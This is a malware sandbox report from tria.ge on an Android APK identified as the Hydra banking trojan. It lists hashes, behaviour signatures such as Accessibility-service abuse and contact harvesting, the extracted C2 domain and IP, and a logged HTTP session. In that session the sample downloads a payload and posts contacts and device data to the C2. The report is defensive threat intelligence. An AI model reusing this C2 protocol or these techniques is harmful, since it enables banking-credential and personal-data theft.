Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

74aab8e0ae...fb.apk

android-9-x86

10

74aab8e0ae...fb.apk

android-10-x64

10

74aab8e0ae...fb.apk

android-11-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    android-9_x86
  • resource
    android-x86-arm-20240910-en
  • resource tags

    arch:armarch:x86image:android-x86-arm-20240910-enlocale:en-usos:android-9-x86system
  • submitted
    06/10/2024, 22:06 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    74aab8e0ae7d32e93b13a006fdd9cf745215ed6dbf72c7599653bfed69369efb.apk

  • Size

    1.4MB

  • MD5

    173149ab145e6fc348764312695eae99

  • SHA1

    204ddb9a89368539db3d65dbff13cd4c92e34fe0

  • SHA256

    74aab8e0ae7d32e93b13a006fdd9cf745215ed6dbf72c7599653bfed69369efb

  • SHA512

    493dc60347de545df79de27596a3e3e7667f793fa2dea68d2969c0e082cc279e97baf8a2578713c35f5c545ebb01c71e45a4541e885e65a31fdea3d7349a0c43

  • SSDEEP

    24576:OgVnyEJ6PR94Z4/JecuIi8nhBCCI3vYOh2lv4TdFGHAN:OgVnHARGZTcRi8n/6wO7TbH

Score
10/10
hydrabankercollectioncredential_accessdiscoveryevasioninfostealerpersistencetrojan

Malware Config

Extracted

Family

hydra

C2

http://vadafoneszos.com

Signatures

  • Hydra

    Android banker and info stealer.

    bankertrojaninfostealerhydra
  • Makes use of the framework's Accessibility service 4 TTPs 2 IoCs

    Retrieves information displayed on the phone screen using AccessibilityService.

    collectionevasioncredential_access
  • Queries a list of all the installed applications on the device (Might be used in an attempt to overlay legitimate apps) 1 TTPs
    bankerdiscovery
  • Reads the contacts stored on the device. 1 TTPs 1 IoCs
    collection
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Makes use of the framework's foreground persistence service 1 TTPs 1 IoCs

    Application may abuse the framework's foreground service to continue running in the foreground.

    evasionpersistence
  • Performs UI accessibility actions on behalf of the user 1 TTPs 1 IoCs

    Application may abuse the accessibility service to prevent their removal.

    evasion
  • Queries information about active data network 1 TTPs 1 IoCs
    discovery
  • Queries the mobile country code (MCC) 1 TTPs 1 IoCs
    discovery
  • Registers a broadcast receiver at runtime (usually for listening for system events) 1 TTPs 1 IoCs
    persistence

Processes

  • com.grand.snail
    1⤵
    • Makes use of the framework's Accessibility service
    • Reads the contacts stored on the device.
    • Makes use of the framework's foreground persistence service
    • Performs UI accessibility actions on behalf of the user
    • Queries information about active data network
    • Queries the mobile country code (MCC)
    • Registers a broadcast receiver at runtime (usually for listening for system events)
    PID:4266

Network

  • flag-us
    DNS
    vadafoneszos.com
    Remote address:
    1.1.1.1:53
    Request
    vadafoneszos.com
    IN A
    Response
    vadafoneszos.com
    IN A
    176.113.115.102
  • flag-ru
    GET
    http://vadafoneszos.com/payload
    Remote address:
    176.113.115.102:80
    Request
    GET /payload HTTP/1.1
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:06:47 GMT
    Content-Type: application/octet-stream
    Content-Length: 997816
    Connection: keep-alive
    Last-Modified: Sat, 21 Sep 2024 12:25:51 GMT
    ETag: "66eebb4f-f39b8"
    Accept-Ranges: bytes
  • flag-ru
    GET
    http://vadafoneszos.com/api/v1/device/check?screen=true
    Remote address:
    176.113.115.102:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:07:08 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://vadafoneszos.com/storage/zip/K03TVPnWNdU4BngpfSY8XTJwClLEuuKeLX8fTdoQ.zip
    Remote address:
    176.113.115.102:80
    Request
    GET /storage/zip/K03TVPnWNdU4BngpfSY8XTJwClLEuuKeLX8fTdoQ.zip HTTP/1.1
    Range: bytes=0-
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 206 Partial Content
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:07:08 GMT
    Content-Type: application/zip
    Content-Length: 75725632
    Connection: keep-alive
    Last-Modified: Fri, 04 Oct 2024 08:56:58 GMT
    ETag: "66ffadda-4837b40"
    Content-Range: bytes 0-75725631/75725632
  • flag-ru
    GET
    http://vadafoneszos.com/api/v1/device/check?screen=true
    Remote address:
    176.113.115.102:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:06:47 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device/lock
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device/lock HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 18
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:06:48 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 157
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:07:22 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 3388
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:07:43 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://vadafoneszos.com/api/v1/device/check?screen=true
    Remote address:
    176.113.115.102:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:08:08 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device/server-log
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:08:08 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://vadafoneszos.com/api/mirrors
    Remote address:
    176.113.115.102:80
    Request
    GET /api/mirrors HTTP/1.1
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:06:47 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
    Content-Encoding: gzip
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device/server-log
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:06:48 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device/server-log
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:07:08 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device/update
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device/update HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 31
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:07:22 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://vadafoneszos.com/api/v1/device/check?screen=true
    Remote address:
    176.113.115.102:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:07:28 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device/server-log
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:07:28 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-us
    DNS
    ip-api.com
    Remote address:
    1.1.1.1:53
    Request
    ip-api.com
    IN A
    Response
    ip-api.com
    IN A
    208.95.112.1
  • flag-us
    GET
    http://ip-api.com/json
    Remote address:
    208.95.112.1:80
    Request
    GET /json HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: ip-api.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Date: Sun, 06 Oct 2024 22:07:02 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 289
    Access-Control-Allow-Origin: *
    X-Ttl: 48
    X-Rl: 41
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device/contacts
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device/contacts HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 15
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:07:23 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://vadafoneszos.com/api/v1/device/check?screen=true
    Remote address:
    176.113.115.102:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:08:08 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device/server-log
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:08:09 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-us
    DNS
    android.apis.google.com
    Remote address:
    1.1.1.1:53
    Request
    android.apis.google.com
    IN A
    Response
    android.apis.google.com
    IN CNAME
    clients.l.google.com
    clients.l.google.com
    IN A
    142.250.200.46
  • flag-ru
    GET
    http://vadafoneszos.com/api/v1/device/check?screen=true
    Remote address:
    176.113.115.102:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:08:28 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device/server-log
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:08:29 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://vadafoneszos.com/api/v1/device/check?screen=true
    Remote address:
    176.113.115.102:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:08:48 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device/server-log
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:08:49 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    GET
    http://vadafoneszos.com/api/v1/device/check?screen=true
    Remote address:
    176.113.115.102:80
    Request
    GET /api/v1/device/check?screen=true HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:09:09 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • flag-ru
    POST
    http://vadafoneszos.com/api/v1/device/server-log
    Remote address:
    176.113.115.102:80
    Request
    POST /api/v1/device/server-log HTTP/1.1
    Authorization: e0a0f46f15150910
    Content-Type: application/json
    charset: utf-8
    Content-Length: 124
    User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Pixel 2 Build/PSR1.180720.122)
    Host: vadafoneszos.com
    Connection: Keep-Alive
    Accept-Encoding: gzip
    Response
    HTTP/1.1 403 Forbidden
    Server: nginx/1.18.0 (Ubuntu)
    Date: Sun, 06 Oct 2024 22:09:09 GMT
    Content-Type: application/json
    Transfer-Encoding: chunked
    Connection: keep-alive
    Cache-Control: no-cache, private
  • 176.113.115.102:80
    http://vadafoneszos.com/storage/zip/K03TVPnWNdU4BngpfSY8XTJwClLEuuKeLX8fTdoQ.zip
    http
    1.0MB
     51.7MB
     19451
    51002

    HTTP Request

    GET http://vadafoneszos.com/payload

    HTTP Response

    200

    HTTP Request

    GET http://vadafoneszos.com/api/v1/device/check?screen=true

    HTTP Response

    200

    HTTP Request

    GET http://vadafoneszos.com/storage/zip/K03TVPnWNdU4BngpfSY8XTJwClLEuuKeLX8fTdoQ.zip

    HTTP Response

    206
  • 176.113.115.102:80
    http://vadafoneszos.com/api/v1/device/server-log
    http
    7.8kB
     56.4kB
     46
    71

    HTTP Request

    GET http://vadafoneszos.com/api/v1/device/check?screen=true

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device/lock

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device

    HTTP Response

    200

    HTTP Request

    GET http://vadafoneszos.com/api/v1/device/check?screen=true

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device/server-log

    HTTP Response

    403
  • 176.113.115.102:80
    http://vadafoneszos.com/api/v1/device/server-log
    http
    3.3kB
     16.0kB
     25
    32

    HTTP Request

    GET http://vadafoneszos.com/api/mirrors

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device/server-log

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device/server-log

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device/update

    HTTP Response

    200

    HTTP Request

    GET http://vadafoneszos.com/api/v1/device/check?screen=true

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device/server-log

    HTTP Response

    403
  • 208.95.112.1:80
    http://ip-api.com/json
    http
    451 B
     638 B
     5
    4

    HTTP Request

    GET http://ip-api.com/json

    HTTP Response

    200
  • 176.113.115.102:80
    http://vadafoneszos.com/api/v1/device/server-log
    http
    2.0kB
     18.0kB
     20
    25

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device/contacts

    HTTP Response

    200

    HTTP Request

    GET http://vadafoneszos.com/api/v1/device/check?screen=true

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device/server-log

    HTTP Response

    403
  • 142.250.187.206:443
    tls, https
    858 B
     40 B
     1
    1
  • 142.250.187.206:443
    tls, https
    858 B
     40 B
     1
    1
  • 142.250.200.46:443
    android.apis.google.com
    tls
    3.6kB
     7.7kB
     13
    19
  • 176.113.115.102:80
    http://vadafoneszos.com/api/v1/device/server-log
    http
    1.7kB
     17.8kB
     19
    25

    HTTP Request

    GET http://vadafoneszos.com/api/v1/device/check?screen=true

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device/server-log

    HTTP Response

    403
  • 176.113.115.102:80
    http://vadafoneszos.com/api/v1/device/server-log
    http
    1.5kB
     17.6kB
     16
    20

    HTTP Request

    GET http://vadafoneszos.com/api/v1/device/check?screen=true

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device/server-log

    HTTP Response

    403
  • 176.113.115.102:80
    http://vadafoneszos.com/api/v1/device/server-log
    http
    1.6kB
     17.6kB
     17
    21

    HTTP Request

    GET http://vadafoneszos.com/api/v1/device/check?screen=true

    HTTP Response

    200

    HTTP Request

    POST http://vadafoneszos.com/api/v1/device/server-log

    HTTP Response

    403
  • 142.250.187.226:443
    tls
    135 B
     40 B
     2
    1
  • 224.0.0.251:5353
    3.7kB
     11
  • 1.1.1.1:53
    vadafoneszos.com
    dns
    62 B
     78 B
     1
    1

    DNS Request

    vadafoneszos.com

    DNS Response

    176.113.115.102

  • 1.1.1.1:53
    ip-api.com
    dns
    56 B
     72 B
     1
    1

    DNS Request

    ip-api.com

    DNS Response

    208.95.112.1

  • 1.1.1.1:53
    android.apis.google.com
    dns
    69 B
     109 B
     1
    1

    DNS Request

    android.apis.google.com

    DNS Response

    142.250.200.46

MITRE ATT&CK Mobile v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • /data/data/com.grand.snail/app_apk/payload.apk
    Filesize

    974KB

    MD5

    3baeaa766ea7f31a9147208efd957c75

    SHA1

    c701de3d0e55425394ccbf8e0967639e86f3c54e

    SHA256

    75e162dc291e15d13b0f3202a66e0c88ff2db09ec02922ee64818dbddcb78d6d

    SHA512

    9f3ccb1fc9a177524ba2d39f809be4851af385073463893bd4a8664308253fc0da2b9ab330c85675dbe9ce0c44b631a0d1ec7800491687c7b2540504b351295f

    Download Submit

  • /data/data/com.grand.snail/cache/K03TVPnWNdU4BngpfSY8XTJwClLEuuKeLX8fTdoQ.zip
    Filesize

    45.7MB

    MD5

    a0470e0c0713133bfd2da18ec88e70a5

    SHA1

    dbbd15c9353eed546cf2ae95217e02c0d8e7fb46

    SHA256

    9850435dbf4b819adc3d48368ac6ab792eaccf0599c310716fc0ce93aea34f85

    SHA512

    8a4e99d375f76151583ca149e359070b23cf0f4d4fb77c3caf73e016e9f23a5c2de5b36476737d376a97cb5fd77732ce9f7a8d1b2c9346b8de0cbbf5bf1d5dee

    Download Submit

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.